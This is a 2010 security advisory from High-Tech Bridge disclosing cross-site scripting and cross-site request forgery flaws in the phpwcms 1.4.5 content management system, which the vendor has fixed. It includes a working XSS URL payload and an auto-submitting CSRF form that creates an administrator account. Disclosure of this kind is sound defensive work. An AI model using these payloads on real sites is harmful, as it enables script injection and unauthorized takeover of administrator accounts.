Stay in Touch

Application security insights and invitations to exclusive events in your inbox


Your data will stay confidential Private and Confidential

Multiple Vulnerabilities in phpwcms

Advisory ID:HTB22475
Product:phpwcms
Vendor:Oliver Georgi
Vulnerable Versions:1.4.5 and probably prior
Tested Version:1.4.5
Advisory Publication:July 1, 2010 [without technical details]
Vendor Notification:July 1, 2010
Public Disclosure:July 15, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in phpwcms which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in phpwcms
The vulnerability exists due to input sanitation error in the "calendardate" cookie in phpwcms.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/phpwcms.php?do=modules&module=calendar&calendardate=8-2010%22+on mouseover=alert%2834%29+ style=position:absolute;width:100%;height:100%;left:0;top:0;+%22

2) Cross-site request forgery (CSRF) in phpwcms
The vulnerability exists due to insufficient validation of the request origin in phpwcms.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create administrative account.
Exploitation example:
<form action="http://host/phpwcms.php?do=admin&s=1" name="m" method="POST">
<input type="hidden" name="form_newloginname" value="aaa">
<input type="hidden" name="form_newpassword" value="aaa">
<input type="hidden" name="form_newemail" value="aaa@example.com">
<input type="hidden" name="form_newrealname" value="">
<input type="hidden" name="form_feuser" value="2">
<input type="hidden" name="form_active" value="1">
<input type="hidden" name="verification_email" value="1">
<input type="hidden" name="form_aktion" value="create_account">
<input type="hidden" name="Submit" value="send+user+data">
</form>
<script>
document.m.submit();
</script>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB22475 - https://www.htbridge.com/advisory/HTB22475 - Multiple Vulnerabilities in phpwcms
[2] phpwcms - phpwcms.de - phpwcms is a very flexible, fast, robust, customer and developer friendly but yet powerful web based content management system and cms framework
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
High-Tech Bridge on Facebook High-Tech Bridge on Twitter High-Tech Bridge on LinkedIn High-Tech Bridge RSS Feeds Send by Email
Share
Let's Talk